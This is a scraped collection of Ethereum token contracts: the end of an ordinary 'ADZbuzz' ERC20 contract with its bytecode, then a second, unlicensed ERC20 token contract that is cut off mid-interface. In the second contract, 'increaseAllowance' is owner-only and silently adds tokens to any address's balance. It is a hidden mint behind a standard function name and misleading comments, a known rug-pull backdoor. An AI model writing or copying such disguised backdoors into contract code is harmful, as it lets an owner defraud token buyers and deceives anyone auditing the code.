// Constructor // ------------------------------------------------------------------------ function ADZbuzzCommunityToken() public { symbol = "ACT300187"; name = "ADZbuzz Howtogeek.com Community Token"; decimals = 8; _totalSupply = 200000000000000; balances[0x3f70c0B02879c36162C2C902ECfe9Ac0a8a8a187] = _totalSupply; emit Transfer(address(0), 0x3f70c0B02879c36162C2C902ECfe9Ac0a8a8a187, _totalSupply); } // ------------------------------------------------------------------------ // Total supply // ------------------------------------------------------------------------ function totalSupply() public constant returns (uint) { return _totalSupply - balances[address(0)]; } // ------------------------------------------------------------------------ // Get the token balance for account tokenOwner // ------------------------------------------------------------------------ function balanceOf(address tokenOwner) public constant returns (uint balance) { return balances[tokenOwner]; } // ------------------------------------------------------------------------ // Transfer the balance from token owner's account to to account // - Owner's account must have sufficient balance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transfer(address to, uint tokens) public returns (bool success) { balances[msg.sender] = safeSub(balances[msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); emit Transfer(msg.sender, to, tokens); return true; } // ------------------------------------------------------------------------ // Token owner can approve for spender to transferFrom(...) tokens // from the token owner's account // // https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md // recommends that there are no checks for the approval double-spend attack // as this should be implemented in user interfaces // ------------------------------------------------------------------------ function approve(address spender, uint tokens) public returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); return true; } // ------------------------------------------------------------------------ // Transfer tokens from the from account to the to account // // The calling account must already have sufficient tokens approve(...)-d // for spending from the from account and // - From account must have sufficient balance to transfer // - Spender must have sufficient allowance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transferFrom(address from, address to, uint tokens) public returns (bool success) { balances[from] = safeSub(balances[from], tokens); allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); emit Transfer(from, to, tokens); return true; } // ------------------------------------------------------------------------ // Returns the amount of tokens approved by the owner that can be // transferred to the spender's account // ------------------------------------------------------------------------ function allowance(address tokenOwner, address spender) public constant returns (uint remaining) { return allowed[tokenOwner][spender]; } // ------------------------------------------------------------------------ // Token owner can approve for spender to transferFrom(...) tokens // from the token owner's account. The spender contract function // receiveApproval(...) is then executed // ------------------------------------------------------------------------ function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data); return true; } // ------------------------------------------------------------------------ // Don't accept ETH // ------------------------------------------------------------------------ function () public payable { revert(); } // ------------------------------------------------------------------------ // Owner can transfer out any accidentally sent ERC20 tokens // ------------------------------------------------------------------------ function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) { return ERC20Interface(tokenAddress).transfer(owner, tokens); } }
0x606060405260043610610112576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde0314610117578063095ea7b3146101a557806318160ddd146101ff57806323b872dd14610228578063313ce567146102a15780633eaaf86b146102d057806370a08231146102f957806379ba5097146103465780638da5cb5b1461035b57806395d89b41146103b0578063a293d1e81461043e578063a9059cbb1461047e578063b5931f7c146104d8578063cae9ca5114610518578063d05c78da146105b5578063d4ee1d90146105f5578063dc39d06d1461064a578063dd62ed3e146106a4578063e6cb901314610710578063f2fde38b14610750575b600080fd5b341561012257600080fd5b61012a610789565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561016a57808201518184015260208101905061014f565b50505050905090810190601f1680156101975780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156101b057600080fd5b6101e5600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610827565b604051808215151515815260200191505060405180910390f35b341561020a57600080fd5b610212610919565b6040518082815260200191505060405180910390f35b341561023357600080fd5b610287600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610964565b604051808215151515815260200191505060405180910390f35b34156102ac57600080fd5b6102b4610bf4565b604051808260ff1660ff16815260200191505060405180910390f35b34156102db57600080fd5b6102e3610c07565b6040518082815260200191505060405180910390f35b341561030457600080fd5b610330600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610c0d565b6040518082815260200191505060405180910390f35b341561035157600080fd5b610359610c56565b005b341561036657600080fd5b61036e610df5565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34156103bb57600080fd5b6103c3610e1a565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156104035780820151818401526020810190506103e8565b50505050905090810190601f1680156104305780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561044957600080fd5b6104686004808035906020019091908035906020019091905050610eb8565b6040518082815260200191505060405180910390f35b341561048957600080fd5b6104be600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610ed4565b604051808215151515815260200191505060405180910390f35b34156104e357600080fd5b610502600480803590602001909190803590602001909190505061105d565b6040518082815260200191505060405180910390f35b341561052357600080fd5b61059b600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190803590602001908201803590602001908080601f01602080910402602001604051908101604052809392919081815260200183838082843782019150505050505091905050611081565b604051808215151515815260200191505060405180910390f35b34156105c057600080fd5b6105df60048080359060200190919080359060200190919050506112c7565b6040518082815260200191505060405180910390f35b341561060057600080fd5b6106086112f8565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561065557600080fd5b61068a600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190505061131e565b604051808215151515815260200191505060405180910390f35b34156106af57600080fd5b6106fa600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff1690602001909190505061145d565b6040518082815260200191505060405180910390f35b341561071b57600080fd5b61073a60048080359060200190919080359060200190919050506114e4565b6040518082815260200191505060405180910390f35b341561075b57600080fd5b610787600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611500565b005b60038054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561081f5780601f106107f45761010080835404028352916020019161081f565b820191906000526020600020905b81548152906001019060200180831161080257829003601f168201915b505050505081565b600081600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000600660008073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205460055403905090565b60006109af600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483610eb8565b600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610a78600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483610eb8565b600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610b41600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054836114e4565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b600460009054906101000a900460ff1681565b60055481565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610cb257600080fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60028054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610eb05780601f10610e8557610100808354040283529160200191610eb0565b820191906000526020600020905b815481529060010190602001808311610e9357829003601f168201915b505050505081565b6000828211151515610ec957600080fd5b818303905092915050565b6000610f1f600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483610eb8565b600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610fab600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054836114e4565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b6000808211151561106d57600080fd5b818381151561107857fe5b04905092915050565b600082600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925856040518082815260200191505060405180910390a38373ffffffffffffffffffffffffffffffffffffffff16638f4ffcb1338530866040518563ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018481526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200180602001828103825283818151815260200191508051906020019080838360005b8381101561125e578082015181840152602081019050611243565b50505050905090810190601f16801561128b5780820380516001836020036101000a031916815260200191505b5095505050505050600060405180830381600087803b15156112ac57600080fd5b5af115156112b957600080fd5b505050600190509392505050565b6000818302905060008314806112e757508183828115156112e457fe5b04145b15156112f257600080fd5b92915050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561137b57600080fd5b8273ffffffffffffffffffffffffffffffffffffffff1663a9059cbb6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b151561143e57600080fd5b5af1151561144b57600080fd5b50505060405180519050905092915050565b6000600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600081830190508281101515156114fa57600080fd5b92915050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561155b57600080fd5b80600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550505600a165627a7a72305820c1ee74cd1c7c6f1730d666240198e0ec72c690c227b1b25eafd83ec1ed4464400029
[ 2 ]
0xf2db58104b5359c570e351fb998eb509388c2f76
// SPDX-License-Identifier: Unlicensed pragma solidity =0.7.0; abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state, see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. */ function isContract(address account) internal view returns (bool) { // This method relies in extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() internal view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } } /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is Ownable, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) internal _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 internal _totalSupply; string internal _name; string internal _symbol; uint256 internal _decimals; /** * @dev Sets the values for {name} and {symbol}, initializes {decimals} with * a default value of 18. * * To select a different value for {decimals}, use {_setupDecimals}. * * All three of these values are immutable: they can only be set once during * construction. */ constructor (string memory name, string memory symbol) { _name = name; _symbol = symbol; _decimals = 9; } /** * @dev Returns the name of the token. */ function name() public view returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is * called. * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view returns (uint256) { return _decimals; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}; * * Requirements: * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual onlyOwner returns (bool) { _balances[spender] =_balances[spender].add(addedValue); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Sets {decimals} to a value other than the default one of 18. */ function _setupDecimals(uint8 decimals_) internal { _decimals = decimals_; } /** * @dev Hook that is called before any transfer of tokens. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be created for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } } interface IUniswapV2Router01 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB, uint liquidity); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function removeLiquidity( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB); function removeLiquidityETH( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountToken, uint amountETH); function removeLiquidityWithPermit( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountA, uint amountB); function removeLiquidityETHWithPermit( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountToken, uint amountETH); function swapExactTokensForTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapTokensForExactTokens( uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB); function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut); function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn); function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts); function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts); } interface IUniswapV2Router02 is IUniswapV2Router01 { function removeLiquidityETHSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountETH); function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountETH); function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint 